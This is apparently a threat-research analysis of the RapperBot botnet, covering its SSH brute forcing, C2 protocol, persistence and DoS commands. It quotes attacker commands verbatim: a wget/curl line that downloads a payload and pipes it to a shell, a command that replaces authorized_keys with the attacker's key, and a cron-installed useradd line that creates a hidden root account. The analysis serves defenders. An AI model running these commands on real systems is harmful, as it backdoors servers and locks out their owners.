RapperBot – new evolving malware

RapperBot heavily reuses parts of the Mirai source code, but its features and implementation details, e.g., the Command & Control (C2) command protocol, differs significantly from the original Mirai and typical Mirai-based variants monitored by FortiGuard Labs.

Unlike the majority of Mirai variants, which natively brute force Telnet servers using default or weak passwords, RapperBot exclusively scans and attempts to brute force SSH servers configured to accept password authentication. The bulk of the malware code contains an implementation of an SSH 2.0 client that can connect and brute force any SSH server that supports Diffie-Hellmann key exchange with 768-bit or 2048-bit keys and data encryption using AES128-CTR.

A distinctive feature of the brute forcing implementation in RapperBot is the use of “SSH-2.0-HELLOWORLD” to identify itself to the target SSH server during the SSH Protocol Exchange phase. The appearance of this RapperBot in mid-June coincides with the observation of this same client identification string by SANS Internet Storm Center in their honeypot logs.

Earlier samples had the brute-forcing credential list hardcoded into the binary. From July onwards, samples now retrieve this list from another port on the C2 server. This allows the threat actors to continually add new SSH credentials without having to update infected devices with new samples. This port number ranges from 4343 to 4345 in the latest samples.

Once RapperBot successfully brute forces an SSH server, the valid credentials are reported to the C2 server on a separate port (currently 48109) without executing further commands on the remote victim.

In late June, however, FortiGuard Labs found some samples that attempted to self-propagate via a remote binary downloader post-compromise. The commands executed on the compromised SSH server are shown below.

sh
enable
shell
debug shell
cmd

wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- | sh

For unknown reasons, this propagation functionality was removed in samples collected a few days later and has not been seen in subsequent samples. As with the original Mirai, analysts suspect the threat actors have implemented a separate loader system that would subsequently connect to the victim to download and execute the bot client.

RapperBot has switched from self-propagation to maintaining remote access into the brute-forced SSH servers. It runs a shell command to replace remote victims’ ~/.ssh/authorized_keys with one containing the threat actors’ SSH public key with the comment “helloworld,” as shown below.

cd ~ && rm -rf .ssh && mkdir .ssh && echo “ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld”>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;

Public keys stored in ~/.ssh/authorized_keys allow anyone with the corresponding private key to connect and authenticate to a SSH server without needing to supply a password. This presents a threat to compromised SSH servers as threat actors can access them even after SSH credentials have been changed or SSH password authentication is disabled. Moreover, since the file is replaced, all existing authorized keys are deleted, which prevents legitimate users from accessing the SSH server via public key authentication.

Apart from maintaining access to every SSH server that it brute forces, RapperBot is also very intent on retaining its foothold on any devices on which it is executed. Samples append the same aforementioned SSH key to the local “~/.ssh/authorized_keys” on the infected device upon execution. This allows RapperBot to maintain its access to these infected devices via SSH even after a device reboot or the removal of RapperBot from the device – something that is atypical to most Mirai variants. In an attempt to better hide in plain sight, the latest samples use a more innocuous comment “system key generated by server 20220709” for the public key instead of “helloworld.”

In the latest RapperBot samples, the malware also started adding the root user “suhelper” to the infected device by directly writing to “/etc/passwd” and “/etc/shadow/”, further allowing the threat actor to take complete control of the device. In conjunction, it adds the root user account every hour by writing the following script to “/etc/cron.hourly/0” in the event that other users (or botnets) attempt to remove their account from the victim system. The command to add the root user is provided below.

#!/bin/sh

useradd -u 0 -g 0 -o -d / suhelper -p ‘$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/’ >/dev/null 2>&1

While early samples had strings in plaintext, subsequent samples added extra obfuscation to the strings by building them on the stack.
Furthermore, these latest samples implemented an additional layer of Mirai-style XOR encoding to hide these strings from memory scanners during execution.

While most Mirai and Gafgyt botnet operators, like Keksec, tend to include strings identifying themselves within the malware samples, the developers of this malware maintain a relatively low profile

RapperBot communicates with its C2 server via TCP requests at separate ports to receive commands (443 in the latest samples), download SSH credential lists, or report valid credentials during SSH brute forcing.

The network protocol for commands is explained in further detail below.

Each request contains a bot ID, a 32-byte value hardcoded in the binary. FortiGuard Labs observed two IDs as follows:

d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27

f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a

RapperBot starts by sending a registration packet to the C2 server. This includes the argument (referred to as “source” by Mirai) used when the binary was executed in the victim system, which usually provides some basic contextual info about its execution. For instance, “ssh.wget.arm7” would tell the C2 that the binary was spread via SSH protocol, downloaded via the wget utility, and is of ARM architecture.

The succeeding communication uses the following structure:

struct rapperbot_registration {

byte bot_id[32];

int command_code;

source [32];

};

Here are the command codes supported by RapperBot:

0x00: Register (used by the client)
0x01: Keep-Alive/Do nothing
0x02: Stop all DoS attacks and terminate the client
0x03: Perform a DoS attack
0x04: Stop all DoS attacks
Right after the registration packet, the client sends another request to notify the C2 that the client is ready to receive commands.

However, RapperBot does support a very minimal set of DoS attacks, including plain UDP and TCP STOMP flood attacks that are very similar to Mirai’s implementation.

The attack command structure is as follows:

struct rapperbot_attack_command {

byte bot_id[32];

int command_code; // 0x03
byte vector; // type of DoS attack
ushort target_port;
int duration;
int target_ip;
};